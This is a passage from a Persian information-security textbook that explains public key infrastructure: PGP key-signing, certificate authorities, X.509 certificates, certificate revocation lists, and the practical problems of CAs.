ضمين ه جين آنها را ت    كليدهاي عمومي را    كن است مايل باشيد ساير      كليد جين واقعاً متعلق به خود اوست مم       كه متوجه شديد    كزماني
ليـد  ك كه شـما ي ـ   ك ـنـد، و زماني   كتواند آنها را تضمين       ليد خودش مي  ك ةليدهاي افراد ديگر بوسيل   كجين با امضاي    . ند بپذيريد كمي
ليـد جـين معتبـر    كدانيـد   رده است، چون ميكه خود جين آنرا امضا كنيد، مطمئن هستيد ك ليد جين را دريافت مي   ك ةشده بوسيل امضا

  .ه تنها خود او به آن دسترسي داردكايد ن گذاشتهاست و فرض را نيز بر اي

ه شما بـه    كه بر اساس ميزان اعتمادي است       كليد جين نيست، بل   كند بر اساس اعتبار     ك ه جين آنها را تضمين مي     كليدهايي  كپذيرش  
ليد ك اعتبار   -و مفهوم   ليد عمومي، اين د   كدر بيشتر سيستمهاي    . ند دقيق باشد  كه امضا مي  كليدهايي  كه نسبت به    كخود جين داريد    

ليـد  ك كليد بعنوان ي  كتوانيد پيش از قبول هر        ها، شما مي  در بعضي سيستم  . ديگر هستند ك مستقل از ي   -و اعتماد شما به صاحب آن       
  .معتبر، منتظر تأييد دو يا چند طرف مورد اعتماد باشيد

ليد عمـومي در    ك كي. نندك را بررسي و آنها را امضا        ديگركليدهاي ي ك دارند تا    ١٣٤گروههاي امضا  از   فهرستي معمولاً   PGPاربران  ك
ليـد اسـتفاده   كنفر بتواند بعدها از آن امضاها براي ارزيابي صـحت آن  كه ي كن است ده يا بيشتر امضا داشته باشد         كچنين گروهي مم  

ه كزمانيو لذا نند؛ ك  مي  در سراسر جهان توزيع    PGPليد  كهاي  دهندهليدهاي خود را از طريق سرويس     كمعمولاً   PGPاربران  ك. ندك
ليـد  كه  ك ـشـويد   نيد تا ببينيد آيا مطمئن مي     كها استفاده     توانيد از امضا    نيد، مي ك  مي downloadليد  كدهنده  ليد را از سرويس   ك كي

  .باشد يا نهيت آن است ميكه مدعي مالكسي كواقعاً معرف 

  هاي شخص ثالث متصدي: ز صدور گواهيكمرا

 روش عملي براي ايجـاد  كه يكسب اعتماد افراد است، اما تجربه نشان داده است        ك روش خوب براي     كي" گروههاي امضا "هرچند  
بعـضي  . خواهـد بـود   م  كپوشش آن بسيار    ه معمولاً   كچرا ،اي نيست ليدهاي عمومي تأييدشده بصورت زنجيره    ك ملي   ة پايگاه داد  كي

ه آن دو نفـر     ك ـدهـد      فرد نـشان مـي     كليد ي كسي روي   كتن امضاي   بعلاوه، داش . ه به گروههاي امضا بروند    كافراد وقت آنرا ندارند     
ليد عمـومي  ك وسيع از رمزنگاري ةبه همين دليل در بيشتر موارد، استفاد. اند ردهكديگر ملاقات كشناسند، يا حداقل با ي  ديگر را مي  كي

فـرد يـا   " ز صـدور گـواهي  ك ـمر ". آن قـرار دارد    ة در ريـش   ١٣٥)CA (ز صدور گواهي  كمر كه ي كشود  ها ختم مي   درخت گواهي  كبه ي 
  .ندكه مجوزهاي ديجيتالي را صادر ميكسازماني است 

ن اسـت   ك ـ دانـشگاه مم   كبعنـوان مثـال، ي ـ    . ندك استانداردهايي را وضع     ،ليدك كتواند قبل از امضاي ي       مي  صدور گواهي  مرکز كي
ديگر  مرکز صدور گواهي   كي. يقي تعلق دارد يا نه     دانشجوي حق  كند واقعاً به ي   كخواهد آنرا امضا    ه مي كليدي  كه آن   ك ندكارزيابي  

 چندين نوع مختلف گواهي منتـشر       - VeriSign - جهان مرکز صدور گواهي  بزرگترين  . ن است هيچ استانداردي نداشته باشد     كمم
ت كايـن شـر   . نـد كهايي را بـراي اسـتفاده عمـوم صـادر مـي            گواهي VeriSign (VTN)١٣٦ مطمئن   ةكشبز تحت   كمراين  . ندكمي
 هـيچ تـضميني   VTNهاي صادر شده توسط ترين سطح گواهي    پائين. نمايدتها صادر مي  كهايي براي استفاده در شر    مچنين گواهي ه

  .رده استكليد را شناسايي ك قبل از صدور گواهي، صاحب VTNه كنند ك نند، اما بالاترين سطوح آن تضمين ميك ارائه نمي

شامل ها  گواهياين  . انده با رمزنگاري امضا شده    كد  نباشميشناسنامه  شود مانند     ا مي امض مراکز صدور گواهي  ه توسط   كهايي  گواهي
 ـ     ،  امضا شده است  صدور گواهي   مرکز   هستند كه بوسيلة كليد خصوصي خود        اربركاطلاعات شناسايي    ، ام مرکـز  و اطلاعـاتي چـون ن
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هـايي  گـواهي ز صدور گـواهي،  كهاي مرا ز بيشترين گواهي  تا امرو  .گيرند را نيز در بر مي     ال شماره سري  ك، و نيز ي   مرکزليد عمومي   ك
تواننـد بـراي اثبـات        ها همچنين مي  گواهي. ليد عمومي خاص به فرد يا سازمان خاصي تعلق دارد         ك كنند ي كه تضمين مي  كهستند  

  :استفاده کردواهي ز صدور گك مركيتوان از خدمات به روشهاي متفاوتي مي. ر شدكه پيشتر ذكار روند، مشابه مثال دانشگاه كب

   صدور گواهيداخليمرکز 
داخلـي  مرکـز    ك ي ـ ةه بوسـيل  ك ـهايي  گواهي. ندكبراي تأييد شاغلين خود استفاده      مرکز صدور گواهي     كتواند از ي     سازمان مي  كي

 داخـل   تواننـد در  هـا مـي   ايـن گـواهي   .  فرد را مشخص سازد    كتواند نام، موقعيت، و سطح اختيار ي       شود مي   منتشر مي صدور گواهي   
اي بـراي   توانـد پايـه   ميمرکز داخلي صدور گواهي     اين  . دنار رو كنترل دسترسي به منابع داخلي و گردش اطلاعات ب        كسازمان براي   

  .سازمان باشدزيرساخت کليد عمومي 

ان مثـال،   بعنـو . ننـد كند استفاده   ك ه براي مشتريان صدور گواهي مي     كصدور گواهي   داخلي  مرکز   كيتوانند از     تها همچنين مي  كشر
بهـا بپردازنـد،    طريق اينترنـت بـه داد و سـتدهاي پر         ه اجازه داشته باشند از      كآنبراي  ردند  كچند تالار بورس مشتريان خود را مجبور        

  .نندكهاي لازم را دريافت گواهي

  شدهبرونسپاريمرکز صدور گواهي 
اندازي آنرا نداشته   ي راه كنيكهيم باشد، اما توانايي ت    ه در مزاياي استفاده از مجوزهاي ديجيتالي س       كن است بخواهد    ك سازمان مم  كي

ند، كخارجي قرارداد ببندد تا خدمات صدور گواهي را براي شاغلين و مشتريانش فراهم              سازمان   كتواند با ي  چنين سازماني مي  . باشد
  .بنددس قرارداد ميكز چاپ عك مركارتهاي شناسايي با يكه براي صدور كتي كدرست مثل شر

  شخص ثالث مطمئندور گواهي مرکز ص
ليدهاي عمومي را به اسامي قـانوني       كند تا   كاستفاده  شخص ثالث   مرکز صدور گواهي     كتواند از ي    ت يا سازمان دولتي مي    ك شر كي

ه ك ـ اند اجازه دهـد   ديگر هيچ رابطه قبلي نداشته    كه با ي  كتواند به افرادي      ميمرکز صدور گواهي    اين  . تها پيوند داده باشد   كافراد و شر  
ز جهـاني صـدور    ك ـ مر ك ي ـ ةه بوسـيل  كهايي  گواهي. نند و به معاملات قانوني بپردازند     كخود را براي ديگري تصديق      هويت  هريک  

  .دننكشود برابري   دولت صادر ميكه توسط يكارتهاي شناسايي كهاي رانندگي و د با گواهينامهنتواند مينشو گواهي صادر مي

مرکز را ليد عمومي آن    ك نسخه از    كنيد، بايد ي  كاستفاده  مرکز صدور گواهي     ك ي ة صادر شده بوسيل   هايه بتوانيد از گواهي   كآنبراي  
درحال حاضر بيشتر اين مجوزها در مرورگر وب        . شوند  هاي مخصوص به خودشان صادر مي     ليدهاي عمومي با گواهي   ك. داشته باشيد 

اربر نهـايي اضـافه   كتوانند بطور دستي هم توسط  ميکز صدور گواهي مراليدهاي عمومي ك. اندعاملها از پيش قرارداده شده   و سيستم 
  .شوند

عامـل قـرار داده نـشده ضـرر         ليدهاي آنها از قبل در مرورگرهاي وب يا سيـستم         كه  ك آندسته از مراکز صدور گواهي    ه  كواضح است   
ه بتوانـد   ك ـمرکز صـدور گـواهي      ر  هروي  مرورگرهاي خود را به     درهاي   درحال حاضر    Netscape و   Microsoftاگرچه  . اندردهك

ه به دقت انتخاب ك CAليدهاي كگشايند، اما مرورگرهاي اصلي وب با تعداد محدودي از    هاي تصديق آنها را برآورده سازد مي      لازمه
 و مـانعي بـراي    آنهاةنندكمنتشرمراکز صدور گواهي ها امتياز بزرگي براي ليدها در آن برنامه   كقرار دادن اين    . انداند توزيع گشته  شده

  .سايرين بود
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  (CPS) گواهي اربردكسياست 

هـا و     مـشي   ننـده خـط   ك ند و توصيف  كآنرا منتشر مي  مرکز صدور گواهي    ه  ك سند قانوني است     ك ي ١٣٧)CPS ( کاربرد گواهي  سياست
مفهـوم تأييـد    ه  كند  كروشن مي مرکز صدور گواهي     كمربوط به ي   CPS. هاي ديجيتالي است  فرايندها براي صدور و ابطال گواهي     

  .ز صدور گواهي چيستكتوسط آن مرليد ك كي

مرکـز   كن است بخواهد گواهي ي ـ    كت تجاري مم  ك شر كي. ه توسط انسان و نه ماشين خوانده شوند       كاند   طراحي شده  CPSاسناد  
قبـال دنبـال    ند و فرض را بر سطح معينـي از تعهـد در             كه سياستهاي حداقلي صدور گواهي را ضمانت مي       كرا بپذيرد   صدور گواهي   

  .تضمين شده باشدسازمان معتبر  كتوسط يمرکز صدور گواهي ه ك و بخواهد -هاي گواهي بگذارد  نشدن خط مشي

 X.509 v3گواهي 

ه طبـق   ك ـننـد   ك صـادر مـي   هـايي   گـواهي نند، اما در عمل بيشتر آنها       كصادر  گواهي   يتوانند هر نوع    ز صدور گواهي مي   كچه مرا اگر
 تنهـا بـراي اسـتفاده از    SSLلهـاي رمزنگـاري از جملـه    كهـا و پروت مشابه اين مسئله، بيشتر برنامـه . د هستنX.509 v3استاندارد 

ه از قالب گواهي مخـصوص بـه خـودش اسـتفاده     ك است، PGPتنها استثناء مهم در اينجا . اند طراحي شدهX.509 v3مجوزهاي 
نـد، امـا   ك  از مجوزهـا اسـتفاده نمـي   SSHبرنامـه   (.نندك پشتيباني مي را نيز X.509مجوزهاي از هاي اخير آن بعضي  ند، اگرچه نسخه  ك مي

  ).اربران استكليد توسط كي به تأييد شخصي كدرعوض مت

ز ك ـ، اطلاعات شناسايي، اطلاعـات مربـوط بـه الگـوريتم، و امـضاي مر              ال سري ة نسخه، شمار  ة شمار ك شامل ي  X.509هر گواهي   
 X.509 v3 را برگزيد، چـون اسـتاندارد   X.509 v3هاي ، گواهيX.509اوليه هاي صنعت بجاي گواهي.  گواهي استةنندكصادر

ار رونـد و    ك ـتوانند بـراي اهـداف بـسياري ب       اين دو مي  . دلخواه بتوانند مشمول گواهي استاندارد شوند     " مقدار"و  " نام"ه  كداد  اجازه مي 
  .ل مربوطه گسترش يابدكها بدون تغيير پروتباعث شوند استفاده از گواهي

  هانوع گواهيا

  :در اينترنت امروز چهار نوع مجوز ديجيتالي مورد استفاده است

  ز صدور گواهيكهاي مراگواهي
معمولاً . شوده براي آن گواهي صادر ميكز صدور گواهي يا نام خدمات خاصي است     كليدهاي عمومي و نام مرا    كاين مجوزها شامل    

تواننـد بـصورت      ز صدور گواهي همچنين مـي     كمرا. اند امضا شده  CAوصي خود   ليد خص ك يعني با    -هستند  " خود امضا "اين مجوزها   
اي واقعاً چه مفهومي خواهند داشت      هاي زنجيره ه اين گواهي  كاين. ديگر را امضا نمايند   كليدهاي ي كنند يا   كاي گواهي   طاي اع زنجيره

 Microsoft Windows ،Microsoft Internet Explorer ،Netscapeهاي برنامه.  سؤال مطرح استكبعنوان يهمچنان 

Navigator و ،open SSL انددر بازار توزيع شدهصدور گواهي مختلف مراکز از ، همه به همراه بيش از ده گواهي.  

 با بـيش از     VerSign.  گواهي دارند  كتهاي متعددي بيش از ي    كاند شر ه همراه مرورگرهاي وب توزيع شده     كهايي  CAدر فهرست   
ليدهاي خصوصي متفاوت بيـانگر سـطوح مختلـف    ك ةشده بوسيلامضاهاي انجام. را داردها گواهيشترين تعداد مختلف بي  گواهي   ۲۰

  .هستنداطمينان و اعتبار 

  دهندههاي سرويسگواهي
 DNSنـد، و نـام      كدهنـده را اجـرا مـي      ه آن سـرويس   ك ـ، نـام سـازماني      SSLدهنده   سرويس كليد عمومي ي  كاين مجوزها شامل    

ل ك ـدهنـده بـراي پروت     گـواهي سـرويس    ك با قابليت رمزنگاري در اينترنت بايد ي       ة اطلاعات دهندهر سرويس . ستدهنده ا سرويس
 بـه مـشتريان در تـشخيص        كمكها  اگرچه هدف اصلي صدور اين گواهي     . ندك داشته باشد تا بتواند بدرستي عمل        SSLرمزنگاري  
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دهنـده بـيش از   در عمـل مجوزهـاي سـرويس   اما  است، ١٣٨راه-ميان-در-فردهاي وب و جلوگيري از حملات       دهندههويت سرويس 
  .روند ار ميكدهنده براي رمزگذاري بتصديق هويت سرويس

  هاي شخصيگواهي
ي، آدرس  ك ـترونيكتوانند اطلاعات ديگري مانند آدرس پـست ال         آنها مي . هستندليد عمومي   ك شخص و    كشامل نام ي  ها  گواهياين  

مجوزهاي شخصي  . دنشو   سازمانها براي شاغلين يا مشتريانشان صادر مي       ةآنها بوسيل . امل شوند شپستي، و تاريخ تولد شخص را نيز        
آنهـا همچنـين    . ننـد كاربري معرفـي    كبا رمز عبور و شناسه      خودشان را   ه افراد روي اينترنت     كتر براي آن است        روش ايمن  كذاتاً ي 
  .ستند لازم هS/MIMEي كترونيكل رمزنگاري پست الكاربران پروتكبراي 

  افزار نندگان نرمك هاي توليدگواهي
 و فايلهاي اجرايي قابل دريافـت از        ActiveXروند، مانند اجزاي      ار مي كشده ب افزارهاي توزيع   هاي نرم   اين مجوزها براي ارزيابي امضا    

افزار منتشر    ندگان نرم نكهاي توزيع  به همراه تعدادي از گواهي     Windowsعاملهاي  هاي اخير سيستم   از نسخه  هريك. روي اينترنت 
  .ار روندك بWindowsاربردي كافزارهاي هاي موجود روي نرم  صحت امضاتصديقتوانند براي  دام ميكه هر كشده 

   حداقليمجوزهاي افشا

 ك گـواهي را بـه ي ـ      كه شـما ي ـ   ك ـزماني.  تهديـد بـه همـراه دارنـد        كاربران خـود ي ـ   كمجوزهاي ديجيتالي براي زندگي خصوصي      
چـه  (ه روي گـواهي وجـود دارد       ك ـ اطلاعات در مورد هويت شما       ةتواند به آساني هم     دهنده مي دهيد سرويس ائه مي دهنده ار   سرويس

ه ايـن اطلاعـات را در       ك ـدر بسياري از مـوارد سـازماني        . ندك را ثبت    )دهنده لازم باشد و چه لازم نباشد      براي تصديق هويت توسط آن سرويس     
  .ه خواست انجام دهدكاري كه با آن اطلاعات هر كآورد آزاد است  ارهاي تجاري بدست ميك

ان خـود   كاين مجوزها به مال   .  است ١٣٩مجوزهاي افشاي حداقل   روش براي به حداقل رساندن تهديد حريم خصوصي استفاده از            كي
مثلاً زنـي   . فاش شوند ديگر  قسمتهاي  ه  كنند، بدون آن  كه بصورت انتخابي قسمتهاي خاصي را از روي مجوز منتشر           كدهند  اجازه مي 

ند تا به سـايت وب ثابـت        كتواند از مجوزهاي افشاي حداقل استفاده       خواهد به پايگاه وب گروه قربانيان سرطان وارد شود مي         ه مي ك
مجوزهـاي افـشاي    مفهـوم   . ه نام يا آدرسش فـاش گـردد       كه سرطان سينه دارد، بدون اين     ك سال است    ۲۱ زن بالاي    كه او ي  كند  ك

  انـادايي  كت ك گـواهي انحـصاري شـر   ۲۰۰۰سـال  فوريـه  مـاه   ابـداع شـد و در       ١٤٠استفان برندز نام    به  رياضيدان كحداقل توسط ي  
Zero Knowledge Systemsردكسب ك را ١٤١.  

  ابطال

ليد خصوصي مورد سوء اسـتفاده قـرار        كه دچار اشتباه شده است يا       كبفهمد  مرکز صدور گواهي    ه  كعلاوه بر صدور گواهي، درصورتي    
بايـد   او يگـواه رسـد  ين به پايـان مـي  ك از مشتركاعتبار هريه مدت كهمچنين زماني . ندكرا باطل   مربوطه  گواهي  بايد بتواند    هگرفت

  .شودابطال 

بـراي   VeriSignه  ك ـرد  ك ـروسـافت اعـلام     كه ماي كاملاً روشن شد، زماني   ك ۲۰۰۱ عملي ابطال در مارس سال       مكانيزم كنياز به ي  
دو مجوز ثبت شده     مندان مايكروسافت است و نامي كه بعنوان شركت محل كار او در هر            كند يكي از كار     فردي كه به دروغ ادعا مي     
توانايي امضاي فايلهاي اجرايـي بـا       "ه  كرد  كروسافت اشاره   كماي. رده است كصادر  دو مجوز   در ماه ژانويه     ،شركت مايكروسافت است  

                                                                                                                                            
138  Man-in-the-Middle 
139  Minimal Disclosure Certificates 
140  Stefan Brands 
141  http://www.wired.com/news/technology/0,1282,34496,00.html 
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اربران را وادار بـه پـذيرش       ك ـخواهند    ه مي كمهاجميني  براي  تواند  ميروسافت تعلق دارند    كليدهايي مدعي هستند به ماي    كاستفاده از   
  ١٤٢."نند منافعي زيادي داشته باشدكاجراي آن فايلها 

  هاي باطلههاي گواهي فهرست

ه توسـط   ك ـهايي   گواهي ة فهرستي است از هم    CRL كي.  است ١٤٣)CRL (هاي باطله فهرست گواهي  شيوه براي ابطال، انتشار      كي
CA كز صدور گواهي در فواصل زمـاني مـنظم ي ـ         كآل هر مر  در حالت ايده  . انديل مختلف هنوز منقضي نشده    اند و به دلا   شده باطل 

CRL  ندك  منتشر مي .CRL   دريافـت    ةهاي ابطال شده، مدت زمان اعتبار داشتن خـود و نحـو             ردن گواهي كنار فهرست   ك در CRL 
  .ندكبعدي را نيز مشخص مي

، از لحـاظ نظـري  . شـود   ناميده ميCRL (CDP)١٤٤ توزيع ةنقطه كمل قسمتي باشند  بايد شاX.509 v3هاي  درحال حاضر گواهي
ه كند  كند تا بتواند معين     ك مربوطه دريافت    CDP را از    CRL كند بايد بتواند ي   ك گواهي را تصديق     كه بخواهد اعتبار ي   كاي    برنامه

شوند، منطقي اسـت  صادر ميمراکز صدور گواهي ي از كندها توسط تعداد ا    ه بيشتر گواهي  كاز آنجا   . آيا گواهي ابطال شده است يا نه      
را بـراي جـستجوهاي     فهرست  ند، و آنگاه اين     ك جديد را هر روز يا هر ساعت دريافت          CRLتواند     برنامه مي  كه ي كنيم  كاگر تصور   

اربرانش ك ـميـان   و آنرا download را CRLبار كتواند ي ه ارتباط اينترنتي محدود دارد مي    ك سازمان   كي. نگه دارد در حافظه   پي  اپي
  .توزيع كند

  :ل دارندكها چندين مشCDPها و CRLدر عمل، 

فهرسـت   كي ـردن ك ـ Download. ها خيلي بزرگ باشـند CRLه كخيلي مشهور باشد احتمال دارد مرکز صدور گواهي اگر   •
CRL     ًةدهندسرويسبه   از طريق اتصال تلفني      يلوبايتك ۹۰۰با حجم مثلا SSL        مرکـز صـدور گـواهيVeriSign   ممکـن 
 ؛ دقيقه وقت بگيرد۲۰بيش از است 

ه در آن گـواهي  ك ـ زمـاني وجـود دارد   ة بـاز كشود ي  جديد توزيع ميCRLه كشود و زماني    ه گواهي ابطال مي   كميان زماني    •
 ؛ وه اينگونه نيستكآيد، درحاليمعتبر بنظر مي

 .نندك يسازي نمها را بصورت صحيح پيادهCDPها و CRLها،  بسياري از برنامه •

 مربـوط بـه     CRLهـاي نادرسـت باطـل شـدند و در             ه پيشتر اشـاره شـد، گـواهي       كروسافت  كهاي جعلي ماي  در مورد صدور گواهي   
VeriSign   ه كهايي   آمدند، اما متأسفانه گواهيVeriSign رده بود حاوي ك صادرCDP   طبـق اعـلام   . (هـاي معتبـر نبـودVeriSign ،

 ).وجود ندارند Authenticodeهاي  در گواهيها CDP ،شده توزيعInternet Explorer 3.02ه همراه ك Authenticodeسازي ال در پيادهك اشكيبدليل 
ه ك ـ مربوطـه    CRLه  ك ـدانست    ند، نمي كرد اعتبار گواهي جعلي صادر شده را تصديق         كه تلاش مي  كاي    ، برنامه CDPبدون وجود   

  ١٤٥.ردكد دريافت ميجا بايك را از نددر آن فهرست شده بودي باطله هاگواهي

  هاارزيابي بلادرنگ گواهي

 گواهي ارزيابي اعتبـار     كه لازم باشد ي   كهر زمان   . ها بصورت بلادرنگ است     ها، ارزيابي اعتبار گواهي   CRL راه جايگزين براي     كي
ننـد،  ك را بخوبي حـل مـي      CRLل  كسيستمهاي ارزيابي بلادرنگ مش   . ندك ميمشورت  ز صدور گواهي    ك با مر  onlineشود بصورت   

  . قابل اعتماد و معتبر نياز دارندةك شبكبه يکه هرچند 

                                                                                                                                            
142  http://www.microsoft.com/technet/security/bulletin/MS01-017.asp 
143  Certificate Revocation Lists 
144  CRL Distribution Point 

 Internetاضـافه بـود كـه     CDPاصـلاح مـورد اشـاره حـاوي يـك      . امل صادر كند تا مشكل حل شودع سيستمةدر پايان مايكروسافت مجبور شد يك وصل   ۱۴۵
Explorer        را به دريافت اطلاعات از يكCRL   ها را ارزيابي كند، و نيز يك فهرست كرد تا اعتبار گواهي   محلي وادار ميCRL كه دو گواهي اشتباه صادر شده 

  . در آن بودVeriSignتوسط 

https://telegram.me/karnil
www.karnil.com


  نيامنيت فناوري اطلاعات و راهبران ف: بخش پنجم

 

٣٢٥  

ش
بخ

 
جم

پن
  

اربران بيشتر و بيشتري پيدا     كها  ه گواهي كاز آنجا   . است" مقياس"ل  ك گواهي، مش   اعتبارِ ل اول در سيستمهاي بلادرنگ ارزيابيِ     كمش
 خـدمات   اربران، ارائـه  ك ـ درحال رشد    ةانند به جامع  هاي ارزيابي اعتبار نياز دارند سريعتر و سريعتر شوند تا بتو          دهندهنند، سرويس كمي

اتصال ان  كت تجاري ام  ك شر كاگر ي . پذير هستند هاي بلادرنگ نسبت به حملات خرابي سرويس آسيب       علاوه بر اين سيستم   . دهند
 ـاي آن قائـل  يا اعتباري بـر ند كبه آن اعتماد  ند؟ك گواهي بايد چگونه برخورد     ك ابطال را نداشته باشد، با ي      ةدهندبه سرويس  شود؟ ن

ار ك ابطال موجب از ةدهندتواند با فرستادن درخواستهاي مجازي بسيار زياد به سرويس   ردن باشد، مهاجم مي   كفرض اعتماد   اگر پيش 
ه مهاجم با اسـتفاده     كان وجود دارد    كباشد، اين ام  اعتمادي  بيفرض  اگر پيش .  گواهي نامعتبر شود   كافتادن آن در زمان استفاده از ي      

ت كنشها رد شوند، و اعتبـار شـر       ك ترا ةليك  درنتيجه  ابطال در دسترس نباشد و     ةدهندسرويس باعث شود سرويس   تخريب   حملات   از
  .دار گرددخدشهبسرعت 

  ليد عموميكزيرساخت 
 ز صـدور گـواهي، ابزارهـا، سيـستمها، و نيـز           ك ـهاي ديجيتالي، مرا    شامل مواردي چون سيستم گواهي     )PKI(ليد عمومي   كزيرساخت  

  .شود ليد عمومي از آنها استفاده ميكار گرفتن فناوري كه براي بكافزاري است  سخت

هـاي ديجيتـالي    شد تا گـواهي سازي ميپياده دولتها   ةبوسيلبايد  ه  كز بود   كمتمرسيستم   ك، ي PKIبه   ه اولي طرفدارانبسياري از   ديد  
.  نـشده اسـت  سـازي نون پيـاده كتا هرچه بود بود، اما قابل بررسي  اين ديدگاه . هم مثل شناسنامه و گذرنامه مورد تأييد دولتها باشند        

ليدهاي امضاي علايم ايـن     ك و   اند  ردهكردن هويت افراد و سازمانها صادر       ك ميليونها گواهي براي معين      VeriSignتهايي مثل   كشر
ه بـراي ارزيـابي   ك ـ يه مراتب ـ مثـل سلـسل   - سلـسه مراتـب اعتمـاد        برخي از ايـن   . اي توزيع شده است   ها در مقياس گسترده     گواهي
؛ امـا   داردتوسط بيش از صد ميليـون نفـر مـورد اسـتفاده قـرار               درحال حاضر    - شود  هاي وب استفاده مي   دهندههاي سرويس   گواهي
ليدهاي عمومي مورد استفاده در كگردد به  نيز باز ميPKIدر " عمومي"لمه ك. تهاي تجاري خصوصي، و نه بوسيله دولت    ك شر ةبوسيل
  .ليكها، و نه به عموم مردم بصورت واهياين گ

  امروزيمراکز صدور گواهي لات كمش

 Netscape Navigator و Internet Explorerه در ك ـهاي اصلي قرار داده شـده   هرچند باعث تأسف است، اما اگر به گواهي
  .امروزي وجود داردکز صدور گواهي مرايفيت بزرگي در كنترل كلات كنگاه دقيقي بياندازيد در خواهيد يافت ناسازگاريها و مش

  گواهيکاربرد هاي  وتاه بودن دوره دسترسي به سياستك

آمده را پـشتيباني    کرده  صادر  که  هاي   از گواهي  هريكه در   كهايي  URL ةه هم كاهميت زيادي دارد    مرکز صدور گواهي     كبراي ي 
ايـن  . دي ـتـا بدسـت آ    ك ي URL كاز ي ـ بايد   CPSر  ند، آنگاه ه  ك مربوط به خود را عوض       CPS ،مرکز صدور گواهي   كاگر ي . ندك
حقـوقي و  معنـاي  ، چـون    گردد قابـل دسترسـي باشـند       بازمي CPSه به آن    كمورد تأييد     هر گواهيِ  اعتبارها بايد در تمام مدت      كلين

ضا چنـد    ام ـ كه معناي ي  كان وجود دارد    كن، چون اين ام   آعلاوه بر   .  قابل تشخيص نخواهد بود    CPSقانوني گواهي بدون خواندن     
  . ساله فعال بمانند۲۰ حداقل ة بازكها بايد براي يURLسال بعد از پديد آمدن آن مورد سؤال قرار بگيرد، قاعدتاً 

گـواهي  مثلاً  . باشندنميه ديگر قابل دسترسي     كاند  ردهكهايي استفاده   CPSاز  مراکز صدور گواهي    هاي  متأسفانه بسياري از گواهي   
ه ك ـ .Autoridad Certificadora del Colegio Nacional de Correduria Publica Mexicana, A.Cي امضا خود

ه ك ـنـد  كاين گـواهي ادعـا مـي   .  معتبر است۲۰۰۹ تا ژوئن ۱۹۹۹ توزيع شده، از ژوئن Internet Explorer 5.0 ةبه همراه برنام
CPS       مربوط به آن در آدرس http://www.correduriapublica.org.mx/RCD/dpc  ه ايـن   ك ـسي است، درحالي   قابل دستر
URL قابل دسترسي نبود۲۰۰۱ حداقل در آوريل .  
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  ها در فيلدهاي گواهيناپايداري

اي براي زيرسـاخت  اند قرار است بعنوان پايه قرار داده شدهInternet Explorer و Netscape Navigatorه در كهايي گواهي
ه روشـهاي   ك ـند اين واقعيت است     كآنچه اين هدف را پيچيده مي     . ار روند كهاي قانوني ب  ي جهان و عقد موافقتنامه    كترونيكتجارت ال 
 خـود معـرف     ١٤٦اسـم مميـزه   ه با   ك،  "موضوع"فيلد  به بيان دقيقتر،    .  سازمانهاي متفاوت از فيلدهاي گواهي بسيار متنوع است        ةاستفاد
املاً ك ـ ةن اسـت شـامل صـفات مميـز    كمتفاوت مممرکز صدور گواهي  كننده است هيچ قالب استانداردي ندارد، و گواهي ي        كصادر

در استفاده از اسـم مميـزه و        الزام  افزار پردازش شود،    شده توسط نرم  ريزيبرنامهفرآيند   كچنانچه گواهي بخواهد در ي     .متفاوتي باشد 
 انـواع و  ةي هم ـه بـراي شناسـاي  ك ـها بايد بوسيله افـرادي   ، گواهي اگر اين الزام وجود نداشته باشد     . فيلدهاي ديگر حياتي خواهد بود    

هاي معتبر را از    اند مورد بررسي قرار گيرند تا بتوان گواهي       قالبهاي مختلف و قابل تصور نامهاي مشروع بصورت بصري آموزش ديده          
  .هاي نامعتبر تشخيص دادگواهي

  گرايانههاي انقضاي غير واقع تاريخ

.  بود۱۹۹۹ دسامبر ۳۱ و ۲۵ه تاريخ انقضايشان بين كشد هايي توزيع  با گواهيNetscape Navigatorهاي اوليه مرورگر  نسخه
 بـسياري از ايـن   ۱۹۹۹در پايـان سـال   .  قـرار داشـتند  رفت همچنان مـورد اسـتفاده  تر از آنچه انتظار آن مي  اين محصولات طولاني  

 بتـوان بـسادگي     هك ـداشـت   ان بايـد وجـود مـي      ك ـهرچنـد ايـن ام    . ار افتادند كهاي قديمي در خود داشتند از         ه گواهي كمحصولات  
ل ك ـه  ك ـاربران توصـيه شـد      كلات امنيتي ديگر در اين محصولات اوليه، به         كرد، اما بدليل مش   ك downloadهاي جديد را      گواهي
  .ار افتاده بود ناراضي بودندكه به آن وابسته بودند ناگهان از كافزاري  ه نرمكاربران از اينكبسياري . اربردي خود را ارتقا دهندك برنامة

آنها شروع به   . ب اشتباه شوند  كه موجب شد از سويي ديگر مرت      كتصميمي گرفتند   مراکز صدور گواهي    اين تجربه، بسياري از     از  پس  
، Internet Explorer 5.0شـده بـه همـراه    هـاي توزيـع   تمام گواهي. ردندكطولاني بسيار هايي با زمانهاي انقضاي  توزيع گواهي

 ۲۰۱۹ ژانويـه    ۱ها تـاريخ انقـضاهايي بـراي بعـد از              اين وجود بيش از نيمي از اين گواهي         هستند، با  RSA بيتي   ۱۰۲۴هاي    گواهي
 بـسياري از  . توزيع كرده اسـت Internet Explorer 5.5همراه  ۲۰۲۸ تاريخ انقضاي سال اهشت گواهي بنيز  VeriSign .دارند

  .ايمن محسوب نخواهند شدستم رمزگذاري سي كديگر ي بيتي در آن تاريخ ۱۰۲۴هاي RSAه ك معتقدند يرمزنگارمتخصصين 

  PKIموضوعات خط مشي 

لاهبرداري در اينترنت رو به افزايش است و نيـاز بـه   كتعداد حوادث .  گسترده اجتناب ناپذير است زيرساخت کليد عمومي   كنياز به ي  
. رسـد  مـي  ۱۹۹۰ ةر دورتر از اواسط ده     امروز بنظ  ة گسترد PKIبا اين همه    . شود  هاي ديجيتالي براي تجارت زياد مي       استفاده از امضا  

   املاًكاي موضوعي   ار روند براي متخصصان امنيت رايانه     كهاي ديجيتالي بايد براي اثبات هويت ب      ليدهاي خصوصي و گواهي   كه  كاين
طمينان سب ا كبراي  ي تصديق نشود، همين متخصصان      كترونيك ال ة نام ك انتهاي ي  ه امضاي ديجيتاليِ  كاست، اما درصورتي  جا افتاده   

ت ناخواسـته و    لاكدر نهايـت سـادگي دچـار مـش        فنـاوري   ه  كندارد جز اين   ي دليل  و اين  گيرندديگر تماس مي  كبا استفاده از تلفن با ي     
  .شود ميبينيقابل پيشغير

  .انده شود مورد اشاره قرار گرفته واقعي بايد با آنها مقابلPKIه در ساختن كلاتي ك تعداد معدودي از مشدر صفحة بعد،

  ليدهاي خصوصي، خود مردم نيستندك

ليد خصوصي بصورت   كه  كتا زماني . نند، اما به خودي خود اثباتي براي هويتها نيستند        كامضاهاي ديجيتالي اثبات هويت را تسهيل مي      
